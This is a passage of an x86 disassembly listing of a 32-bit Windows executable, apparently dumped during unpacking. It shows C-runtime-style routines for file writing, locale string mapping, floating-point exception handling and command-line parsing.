		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 80h
		jz	short loc_4230E8
		push	2
		push	0
		push	[ebp+var_C]
		call	sub_422F09
		add	esp, 0Ch
		cmp	eax, [ebp+var_4]
		jnz	short loc_4230AF
		mov	eax, [edi+8]
		mov	ecx, [ebp+arg_0]
		add	ecx, eax


loc_42309A:				; CODE XREF: sub_422FA3+104j
		cmp	eax, ecx
		jnb	short loc_4230A9
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_4230A6
		inc	[ebp+arg_0]


loc_4230A6:				; CODE XREF: sub_422FA3+FEj
		inc	eax
		jmp	short loc_42309A
; ---------------------------------------------------------------------------


loc_4230A9:				; CODE XREF: sub_422FA3+F9j
		test	byte ptr [edi+0Dh], 20h
		jmp	short loc_4230E3
; ---------------------------------------------------------------------------


loc_4230AF:				; CODE XREF: sub_422FA3+EDj
		push	0
		push	[ebp+var_4]
		push	[ebp+var_C]
		call	sub_422F09
		mov	eax, 200h
		add	esp, 0Ch
		cmp	[ebp+arg_0], eax
		ja	short loc_4230D6
		mov	ecx, [edi+0Ch]
		test	cl, 8
		jz	short loc_4230D6
		test	ch, 4
		jz	short loc_4230D9


loc_4230D6:				; CODE XREF: sub_422FA3+124j
					; sub_422FA3+12Cj
		mov	eax, [edi+18h]


loc_4230D9:				; CODE XREF: sub_422FA3+131j
		mov	[ebp+arg_0], eax
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 4


loc_4230E3:				; CODE XREF: sub_422FA3+10Aj
		jz	short loc_4230E8
		inc	[ebp+arg_0]


loc_4230E8:				; CODE XREF: sub_422FA3+D9j
					; sub_422FA3:loc_4230E3j
		mov	eax, [ebp+arg_0]
		sub	[ebp+var_4], eax


loc_4230EE:				; CODE XREF: sub_422FA3+A4j
					; sub_422FA3+B4j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		add	eax, ecx


loc_4230F6:				; CODE XREF: sub_422FA3+3Cj
					; sub_422FA3+8Dj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_422FA3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4230FB	proc near		; CODE XREF: sub_41DB54+A2p
					; sub_41E42B+2Cp ...

var_414		= byte ptr -414h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	ecx, [ebp+arg_0]
		push	ebx
		cmp	ecx, dword_4DD140
		push	esi
		push	edi
		jnb	loc_42328F
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4DD040h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		mov	al, [eax+esi+4]
		test	al, 1
		jz	loc_42328F
		xor	edi, edi
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_8], edi
		mov	[ebp+var_10], edi
		jnz	short loc_42314C


loc_423145:				; CODE XREF: sub_4230FB+177j
		xor	eax, eax
		jmp	loc_4232A3
; ---------------------------------------------------------------------------


loc_42314C:				; CODE XREF: sub_4230FB+48j
		test	al, 20h
		jz	short loc_42315C
		push	2
		push	edi
		push	ecx
		call	sub_422F09
		add	esp, 0Ch


loc_42315C:				; CODE XREF: sub_4230FB+53j
		mov	eax, [ebx]
		add	eax, esi
		test	byte ptr [eax+4], 80h
		jz	loc_42322B
		mov	eax, [ebp+arg_4]
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], edi
		jbe	loc_423263


loc_42317C:				; CODE XREF: sub_4230FB+F5j
		lea	eax, [ebp+var_414]


loc_423182:				; CODE XREF: sub_4230FB+B9j
		mov	ecx, [ebp+var_4]
		sub	ecx, [ebp+arg_4]
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_4231B6
		mov	ecx, [ebp+var_4]
		inc	[ebp+var_4]
		mov	cl, [ecx]
		cmp	cl, 0Ah
		jnz	short loc_4231A1
		inc	[ebp+var_10]
		mov	byte ptr [eax],	0Dh
		inc	eax


loc_4231A1:				; CODE XREF: sub_4230FB+9Dj
		mov	[eax], cl
		inc	eax
		mov	ecx, eax
		lea	edx, [ebp+var_414]
		sub	ecx, edx
		cmp	ecx, 400h
		jl	short loc_423182


loc_4231B6:				; CODE XREF: sub_4230FB+90j
		mov	edi, eax
		lea	eax, [ebp+var_414]
		sub	edi, eax
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		lea	eax, [ebp+var_414]
		push	edi
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		nop
		call	near ptr 2700000h
		test	eax, eax
		jz	short loc_423220
		mov	eax, [ebp+var_C]
		add	[ebp+var_8], eax
		cmp	eax, edi
		jl	short loc_4231F2
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+arg_4]
		cmp	eax, [ebp+arg_8]
		jb	short loc_42317C


loc_4231F2:				; CODE XREF: sub_4230FB+EAj
					; sub_4230FB+12Ej
		xor	edi, edi


loc_4231F4:				; CODE XREF: sub_4230FB+150j
					; sub_4230FB+15Bj
		mov	eax, [ebp+var_8]
		cmp	eax, edi
		jnz	loc_42328A
		cmp	[ebp+arg_0], edi
		jz	short loc_423263
		push	5
		pop	eax
		cmp	[ebp+arg_0], eax
		jnz	short loc_423258
		mov	dword_4DBDDC, 9
		mov	dword_4DBDE0, eax
		jmp	loc_4232A0
; ---------------------------------------------------------------------------


loc_423220:				; CODE XREF: sub_4230FB+E0j
		nop
		call	near ptr 2680972h
		mov	[ebp+arg_0], eax
		jmp	short loc_4231F2
; ---------------------------------------------------------------------------


loc_42322B:				; CODE XREF: sub_4230FB+69j
		lea	ecx, [ebp+var_C]
		push	edi
		push	ecx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	dword ptr [eax]
		nop
		call	near ptr 2700000h
		test	eax, eax
		jz	short loc_42324D
		mov	eax, [ebp+var_C]
		mov	[ebp+arg_0], edi
		mov	[ebp+var_8], eax
		jmp	short loc_4231F4
; ---------------------------------------------------------------------------


loc_42324D:				; CODE XREF: sub_4230FB+145j
		call	near ptr 2680972h
		nop
		mov	[ebp+arg_0], eax
		jmp	short loc_4231F4
; ---------------------------------------------------------------------------


loc_423258:				; CODE XREF: sub_4230FB+10Fj
		push	[ebp+arg_0]
		call	sub_420C7F
		pop	ecx
		jmp	short loc_4232A0
; ---------------------------------------------------------------------------


loc_423263:				; CODE XREF: sub_4230FB+7Bj
					; sub_4230FB+107j
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 40h
		jz	short loc_423278
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	1Ah
		jz	loc_423145


loc_423278:				; CODE XREF: sub_4230FB+16Fj
		mov	dword_4DBDDC, 1Ch
		mov	dword_4DBDE0, edi
		jmp	short loc_4232A0
; ---------------------------------------------------------------------------


loc_42328A:				; CODE XREF: sub_4230FB+FEj
		sub	eax, [ebp+var_10]
		jmp	short loc_4232A3
; ---------------------------------------------------------------------------


loc_42328F:				; CODE XREF: sub_4230FB+15j
					; sub_4230FB+37j
		and	dword_4DBDE0, 0
		mov	dword_4DBDDC, 9


loc_4232A0:				; CODE XREF: sub_4230FB+120j
					; sub_4230FB+166j ...
		or	eax, 0FFFFFFFFh


loc_4232A3:				; CODE XREF: sub_4230FB+4Cj
					; sub_4230FB+192j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4230FB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4232A8	proc near		; CODE XREF: sub_41DE4A+47p
					; sub_41DE4A+74p ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427928
		push	offset sub_423CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	edi, edi
		cmp	dword_4DBE78, edi
		jnz	short loc_42331E
		push	edi
		push	edi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_427920
		mov	esi, 100h
		push	esi
		push	edi
		nop
		call	near ptr 2640000h
		test	eax, eax
		jz	short loc_4232FC
		mov	dword_4DBE78, ebx
		jmp	short loc_42331E
; ---------------------------------------------------------------------------


loc_4232FC:				; CODE XREF: sub_4232A8+4Aj
		push	edi
		push	edi
		push	ebx
		push	offset word_4CB88C
		push	esi
		push	edi
		call	near ptr 264100Eh
		nop
		test	eax, eax
		jz	loc_423436
		mov	dword_4DBE78, 2


loc_42331E:				; CODE XREF: sub_4232A8+2Ej
					; sub_4232A8+52j
		cmp	[ebp+arg_C], edi
		jle	short loc_423333
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_4234CC
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax


loc_423333:				; CODE XREF: sub_4232A8+79j
		mov	eax, dword_4DBE78
		cmp	eax, 2
		jnz	short loc_42335A
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 264100Eh
		jmp	loc_423438
; ---------------------------------------------------------------------------


loc_42335A:				; CODE XREF: sub_4232A8+93j
		cmp	eax, 1
		jnz	loc_423436
		cmp	[ebp+arg_18], edi
		jnz	short loc_423370
		mov	eax, dword_4DBE94
		mov	[ebp+arg_18], eax


loc_423370:				; CODE XREF: sub_4232A8+BEj
		push	edi
		push	edi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_1C]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_18]
		call	near ptr 26F0000h
		nop
		mov	ebx, eax
		mov	[ebp+var_1C], ebx
		cmp	ebx, edi
		jz	loc_423436
		mov	[ebp+var_4], edi
		lea	eax, [ebx+ebx]
		add	eax, 3
		and	al, 0FCh
		call	sub_41C500
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4233CB
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_24], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	ebx, [ebp+var_1C]


loc_4233CB:				; CODE XREF: sub_4232A8+10Ej
		cmp	[ebp+var_24], edi
		jz	short loc_423436
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	1
		push	[ebp+arg_18]
		nop
		call	near ptr 26F0000h
		test	eax, eax
		jz	short loc_423436
		push	edi
		push	edi
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2640000h
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	short loc_423436
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_42344A
		cmp	[ebp+arg_14], edi
		jz	loc_4234C5
		cmp	esi, [ebp+arg_14]
		jg	short loc_423436
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2640000h
		test	eax, eax
		jnz	loc_4234C5


loc_423436:				; CODE XREF: sub_4232A8+66j
					; sub_4232A8+B5j ...
		xor	eax, eax


loc_423438:				; CODE XREF: sub_4232A8+ADj
					; sub_4232A8+21Fj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_42344A:				; CODE XREF: sub_4232A8+160j
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_41C500
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_20], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_42347E
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]


loc_42347E:				; CODE XREF: sub_4232A8+1C2j
		cmp	ebx, edi
		jz	short loc_423436
		push	esi
		push	ebx
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 2640000h
		nop
		test	eax, eax
		jz	short loc_423436
		cmp	[ebp+arg_14], edi
		push	edi
		push	edi
		jnz	short loc_4234A5
		push	edi
		push	edi
		jmp	short loc_4234AB
; ---------------------------------------------------------------------------


loc_4234A5:				; CODE XREF: sub_4232A8+1F7j
		push	[ebp+arg_14]
		push	[ebp+arg_10]


loc_4234AB:				; CODE XREF: sub_4232A8+1FBj
		push	esi
		push	ebx
		push	220h
		push	[ebp+arg_18]
		nop
		call	near ptr 2811010h
		mov	esi, eax
		cmp	esi, edi
		jz	loc_423436


loc_4234C5:				; CODE XREF: sub_4232A8+165j
					; sub_4232A8+188j
		mov	eax, esi
		jmp	loc_423438
sub_4232A8	endp


; =============== S U B	R O U T	I N E =======================================



sub_4234CC	proc near		; CODE XREF: sub_4232A8+81p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_4234E9


loc_4234DC:				; CODE XREF: sub_4234CC+1Bj
		cmp	byte ptr [eax],	0
		jz	short loc_4234E9
		inc	eax
		mov	esi, ecx
		dec	ecx
		test	esi, esi
		jnz	short loc_4234DC


loc_4234E9:				; CODE XREF: sub_4234CC+Ej
					; sub_4234CC+13j
		cmp	byte ptr [eax],	0
		pop	esi
		jnz	short loc_4234F4
		sub	eax, [esp+arg_0]
		retn
; ---------------------------------------------------------------------------


loc_4234F4:				; CODE XREF: sub_4234CC+21j
		mov	eax, edx
		retn
sub_4234CC	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		push	dword ptr [ebp+8]
		call	sub_423638
		test	eax, eax
		pop	ecx
		jz	loc_42362C
		mov	ebx, [eax+8]
		test	ebx, ebx
		jz	loc_42362C
		cmp	ebx, 5
		jnz	short loc_423528
		and	dword ptr [eax+8], 0
		push	1
		pop	eax
		jmp	loc_423635
; ---------------------------------------------------------------------------


loc_423528:				; CODE XREF: ___:0042351Aj
		cmp	ebx, 1
		jz	loc_423627
		mov	ecx, dword_4DBE9C
		mov	[ebp+8], ecx
		mov	ecx, [ebp+0Ch]
		mov	dword_4DBE9C, ecx
		mov	ecx, [eax+4]
		cmp	ecx, 8
		jnz	loc_423617
		mov	ecx, dword_43D4C0
		mov	edx, dword_43D4C4
		add	edx, ecx
		push	esi
		cmp	ecx, edx
		jge	short loc_423577
		lea	esi, [ecx+ecx*2]
		sub	edx, ecx
		lea	esi, ds:43D450h[esi*4]


loc_42356E:				; CODE XREF: ___:00423575j
		and	dword ptr [esi], 0
		add	esi, 0Ch
		dec	edx
		jnz	short loc_42356E


loc_423577:				; CODE XREF: ___:00423560j
		mov	eax, [eax]
		mov	esi, dword_43D4CC
		cmp	eax, 0C000008Eh
		jnz	short loc_423592
		mov	dword_43D4CC, 83h
		jmp	short loc_423602
; ---------------------------------------------------------------------------


loc_423592:				; CODE XREF: ___:00423584j
		cmp	eax, 0C0000090h
		jnz	short loc_4235A5
		mov	dword_43D4CC, 81h
		jmp	short loc_423602
; ---------------------------------------------------------------------------


loc_4235A5:				; CODE XREF: ___:00423597j
		cmp	eax, 0C0000091h
		jnz	short loc_4235B8
		mov	dword_43D4CC, 84h
		jmp	short loc_423602
; ---------------------------------------------------------------------------


loc_4235B8:				; CODE XREF: ___:004235AAj
		cmp	eax, 0C0000093h
		jnz	short loc_4235CB
		mov	dword_43D4CC, 85h
		jmp	short loc_423602
; ---------------------------------------------------------------------------


loc_4235CB:				; CODE XREF: ___:004235BDj
		cmp	eax, 0C000008Dh
		jnz	short loc_4235DE
		mov	dword_43D4CC, 82h
		jmp	short loc_423602
; ---------------------------------------------------------------------------


loc_4235DE:				; CODE XREF: ___:004235D0j
		cmp	eax, 0C000008Fh
		jnz	short loc_4235F1
		mov	dword_43D4CC, 86h
		jmp	short loc_423602
; ---------------------------------------------------------------------------


loc_4235F1:				; CODE XREF: ___:004235E3j
		cmp	eax, 0C0000092h
		jnz	short loc_423602
		mov	dword_43D4CC, 8Ah


loc_423602:				; CODE XREF: ___:00423590j
					; ___:004235A3j ...
		push	dword_43D4CC
		push	8
		call	ebx
		pop	ecx
		mov	dword_43D4CC, esi
		pop	ecx
		pop	esi
		jmp	short loc_42361F
; ---------------------------------------------------------------------------


loc_423617:				; CODE XREF: ___:00423549j
		and	dword ptr [eax+8], 0
		push	ecx
		call	ebx
		pop	ecx


loc_42361F:				; CODE XREF: ___:00423615j
		mov	eax, [ebp+8]
		mov	dword_4DBE9C, eax


loc_423627:				; CODE XREF: ___:0042352Bj
		or	eax, 0FFFFFFFFh
		jmp	short loc_423635
; ---------------------------------------------------------------------------


loc_42362C:				; CODE XREF: ___:00423506j
					; ___:00423511j
		push	dword ptr [ebp+0Ch]
		call	near ptr 2630714h
		nop


loc_423635:				; CODE XREF: ___:00423523j
					; ___:0042362Aj
		pop	ebx
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================



sub_423638	proc near		; CODE XREF: ___:004234FEp

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_43D4C8
		cmp	dword_43D448, edx
		push	esi
		mov	eax, offset dword_43D448
		jz	short loc_423665
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:43D448h[esi*4]


loc_42365A:				; CODE XREF: sub_423638+2Bj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_423665
		cmp	[eax], edx
		jnz	short loc_42365A


loc_423665:				; CODE XREF: sub_423638+16j
					; sub_423638+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:43D448h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_423678
		cmp	[eax], edx
		jz	short locret_42367A


loc_423678:				; CODE XREF: sub_423638+3Aj
		xor	eax, eax

locret_42367A:				; CODE XREF: sub_423638+3Ej
		retn
sub_423638	endp

; ---------------------------------------------------------------------------
		cmp	dword_4DD394, 0
		jnz	short loc_423689
		call	sub_420B0D


loc_423689:				; CODE XREF: ___:00423682j
		push	esi
		mov	esi, dword_4DD38C
		mov	al, [esi]
		cmp	al, 22h
		jnz	short loc_4236BB


loc_423696:				; CODE XREF: ___:004236AEj
					; ___:004236B1j
		mov	al, [esi+1]
		inc	esi
		cmp	al, 22h
		jz	short loc_4236B3
		test	al, al
		jz	short loc_4236B3
		movzx	eax, al
		push	eax
		call	sub_424FE7
		test	eax, eax
		pop	ecx
		jz	short loc_423696
		inc	esi
		jmp	short loc_423696
; ---------------------------------------------------------------------------


loc_4236B3:				; CODE XREF: ___:0042369Cj
					; ___:004236A0j
		cmp	byte ptr [esi],	22h
		jnz	short loc_4236C5


loc_4236B8:				; CODE XREF: ___:004236CDj
		inc	esi
		jmp	short loc_4236C5
; ---------------------------------------------------------------------------


loc_4236BB:				; CODE XREF: ___:00423694j
		cmp	al, 20h
		jbe	short loc_4236C5


loc_4236BF:				; CODE XREF: ___:004236C3j
		inc	esi
		cmp	byte ptr [esi],	20h
		ja	short loc_4236BF


loc_4236C5:				; CODE XREF: ___:004236B6j
					; ___:004236B9j ...
		mov	al, [esi]
		test	al, al
		jz	short loc_4236CF
		cmp	al, 20h
		jbe	short loc_4236B8


loc_4236CF:				; CODE XREF: ___:004236C9j
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		push	ebx
		xor	ebx, ebx
		cmp	dword_4DD394, ebx
		push	esi
		push	edi
		jnz	short loc_4236E5
		call	sub_420B0D


loc_4236E5:				; CODE XREF: ___:004236DEj
		mov	esi, dword_4DBE34
		xor	edi, edi


loc_4236ED:				; CODE XREF: ___:00423703j
		mov	al, [esi]
		cmp	al, bl
		jz	short loc_423705
		cmp	al, 3Dh
		jz	short loc_4236F8
		inc	edi


loc_4236F8:				; CODE XREF: ___:004236F5j
		push	esi
		call	sub_41B9C0
		pop	ecx
		lea	esi, [esi+eax+1]
		jmp	short loc_4236ED
; ---------------------------------------------------------------------------


loc_423705:				; CODE XREF: ___:004236F1j
		lea	eax, ds:4[edi*4]
		push	eax
		call	sub_41BEB5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	dword_4DBE04, esi
		jnz	short loc_423727
		push	9
		call	sub_41E2C9
		pop	ecx


loc_423727:				; CODE XREF: ___:0042371Dj
		mov	edi, dword_4DBE34
		cmp	[edi], bl
		jz	short loc_42376A
		push	ebp


loc_423732:				; CODE XREF: ___:00423767j
		push	edi
		call	sub_41B9C0
		mov	ebp, eax
		pop	ecx
		inc	ebp
		cmp	byte ptr [edi],	3Dh
		jz	short loc_423763
		push	ebp
		call	sub_41BEB5
		cmp	eax, ebx
		pop	ecx
		mov	[esi], eax
		jnz	short loc_423756
		push	9
		call	sub_41E2C9
		pop	ecx


loc_423756:				; CODE XREF: ___:0042374Cj
		push	edi
		push	dword ptr [esi]
		call	sub_41C890
		pop	ecx
		add	esi, 4
		pop	ecx


loc_423763:				; CODE XREF: ___:0042373Fj
		add	edi, ebp
		cmp	[edi], bl
		jnz	short loc_423732
		pop	ebp


loc_42376A:				; CODE XREF: ___:0042372Fj
		push	dword_4DBE34
		call	sub_41BA91
		pop	ecx
		mov	dword_4DBE34, ebx
		mov	[esi], ebx
		pop	edi
		pop	esi
		mov	dword_4DD390, 1
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	dword_4DD394, ebx
		push	esi
		push	edi
		jnz	short loc_4237A3
		call	sub_420B0D


loc_4237A3:				; CODE XREF: ___:0042379Cj
		mov	esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
		push	104h
		push	esi
		push	ebx
		nop
		call	near ptr 2670000h
		mov	eax, dword_4DD38C
		mov	off_4DBE14, esi
		mov	edi, esi
		cmp	[eax], bl
		jz	short loc_4237C8
		mov	edi, eax


loc_4237C8:				; CODE XREF: ___:004237C4j
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		push	ebx
		push	ebx
		push	edi
		call	sub_423825
		mov	eax, [ebp-8]
		mov	ecx, [ebp-4]
		lea	eax, [eax+ecx*4]
		push	eax
		call	sub_41BEB5
		mov	esi, eax
		add	esp, 18h
		cmp	esi, ebx
		jnz	short loc_4237F8
		push	8
		call	sub_41E2C9
		pop	ecx


loc_4237F8:				; CODE XREF: ___:004237EEj
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		mov	eax, [ebp-4]
		lea	eax, [esi+eax*4]
		push	eax
		push	esi
		push	edi
		call	sub_423825
		mov	eax, [ebp-4]
		add	esp, 14h
		dec	eax
		mov	dword_4DBDFC, esi
		pop	edi
		pop	esi
		mov	dword_4DBDF8, eax
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423825	proc near		; CODE XREF: ___:004237D3p
					; ___:00423809p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_10]
		mov	eax, [ebp+arg_C]
		push	ebx
		push	esi
		and	dword ptr [ecx], 0
		mov	esi, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	dword ptr [eax], 1
		mov	eax, [ebp+arg_0]
		test	edi, edi
		jz	short loc_42384F
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_42384F:				; CODE XREF: sub_423825+20j
		cmp	byte ptr [eax],	22h
		jnz	short loc_423898


loc_423854:				; CODE XREF: sub_423825+58j
					; sub_423825+5Fj
		mov	dl, [eax+1]
		inc	eax
		cmp	dl, 22h
		jz	short loc_423886
		test	dl, dl
		jz	short loc_423886
		movzx	edx, dl
		test	byte_4DD261[edx], 4
		jz	short loc_423879
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_423879
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		inc	eax


loc_423879:				; CODE XREF: sub_423825+46j
					; sub_423825+4Cj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_423854
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_423854
; ---------------------------------------------------------------------------


loc_423886:				; CODE XREF: sub_423825+36j
					; sub_423825+3Aj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_423890
		and	byte ptr [esi],	0
		inc	esi


loc_423890:				; CODE XREF: sub_423825+65j
		cmp	byte ptr [eax],	22h
		jnz	short loc_4238DB
		inc	eax
		jmp	short loc_4238DB
; ---------------------------------------------------------------------------


loc_423898:				; CODE XREF: sub_423825+2Dj
					; sub_423825+A5j
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_4238A3
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi


loc_4238A3:				; CODE XREF: sub_423825+77j
		mov	dl, [eax]
		inc	eax
		movzx	ebx, dl
		test	byte_4DD261[ebx], 4
		jz	short loc_4238BE
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_4238BD
		mov	bl, [eax]
		mov	[esi], bl
		inc	esi


loc_4238BD:				; CODE XREF: sub_423825+91j
		inc	eax


loc_4238BE:				; CODE XREF: sub_423825+8Bj
		cmp	dl, 20h
		jz	short loc_4238CC
		test	dl, dl
		jz	short loc_4238D0
		cmp	dl, 9
		jnz	short loc_423898


loc_4238CC:				; CODE XREF: sub_423825+9Cj
		test	dl, dl
		jnz	short loc_4238D3


loc_4238D0:				; CODE XREF: sub_423825+A0j
		dec	eax
		jmp	short loc_4238DB
; ---------------------------------------------------------------------------


loc_4238D3:				; CODE XREF: sub_423825+A9j
		test	esi, esi
		jz	short loc_4238DB
		and	byte ptr [esi-1], 0


loc_4238DB:				; CODE XREF: sub_423825+6Ej
					; sub_423825+71j ...
		and	[ebp+arg_10], 0


loc_4238DF:				; CODE XREF: sub_423825+19Ej
		cmp	byte ptr [eax],	0
		jz	loc_4239C8


loc_4238E8:				; CODE XREF: sub_423825+D0j
		mov	dl, [eax]
		cmp	dl, 20h
		jz	short loc_4238F4
		cmp	dl, 9
		jnz	short loc_4238F7


loc_4238F4:				; CODE XREF: sub_423825+C8j
		inc	eax
		jmp	short loc_4238E8
; ---------------------------------------------------------------------------


loc_4238F7:				; CODE XREF: sub_423825+CDj
		cmp	byte ptr [eax],	0
		jz	loc_4239C8
		test	edi, edi
		jz	short loc_42390C
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_42390C:				; CODE XREF: sub_423825+DDj
		mov	edx, [ebp+arg_C]
		inc	dword ptr [edx]


loc_423911:				; CODE XREF: sub_423825+18Fj
		mov	[ebp+arg_0], 1
		xor	ebx, ebx


loc_42391A:				; CODE XREF: sub_423825+FCj
		cmp	byte ptr [eax],	5Ch
		jnz	short loc_423923
		inc	eax
		inc	ebx
		jmp	short loc_42391A
; ---------------------------------------------------------------------------


loc_423923:				; CODE XREF: sub_423825+F8j
		cmp	byte ptr [eax],	22h
		jnz	short loc_423954
		test	bl, 1
		jnz	short loc_423952
		xor	edi, edi
		cmp	[ebp+arg_10], edi
		jz	short loc_423941
		cmp	byte ptr [eax+1], 22h
		lea	edx, [eax+1]
		jnz	short loc_423941
		mov	eax, edx
		jmp	short loc_423944
; ---------------------------------------------------------------------------


loc_423941:				; CODE XREF: sub_423825+10Dj
					; sub_423825+116j
		mov	[ebp+arg_0], edi


loc_423944:				; CODE XREF: sub_423825+11Aj
		mov	edi, [ebp+arg_4]
		xor	edx, edx
		cmp	[ebp+arg_10], edx
		setz	dl
		mov	[ebp+arg_10], edx


loc_423952:				; CODE XREF: sub_423825+106j
		shr	ebx, 1


loc_423954:				; CODE XREF: sub_423825+101j
		mov	edx, ebx
		dec	ebx
		test	edx, edx
		jz	short loc_423969
		inc	ebx


loc_42395C:				; CODE XREF: sub_423825+142j
		test	esi, esi
		jz	short loc_423964
		mov	byte ptr [esi],	5Ch
		inc	esi


loc_423964:				; CODE XREF: sub_423825+139j
		inc	dword ptr [ecx]
		dec	ebx
		jnz	short loc_42395C


loc_423969:				; CODE XREF: sub_423825+134j
		mov	dl, [eax]
		test	dl, dl
		jz	short loc_4239B9
		cmp	[ebp+arg_10], 0
		jnz	short loc_42397F
		cmp	dl, 20h
		jz	short loc_4239B9
		cmp	dl, 9
		jz	short loc_4239B9


loc_42397F:				; CODE XREF: sub_423825+14Ej
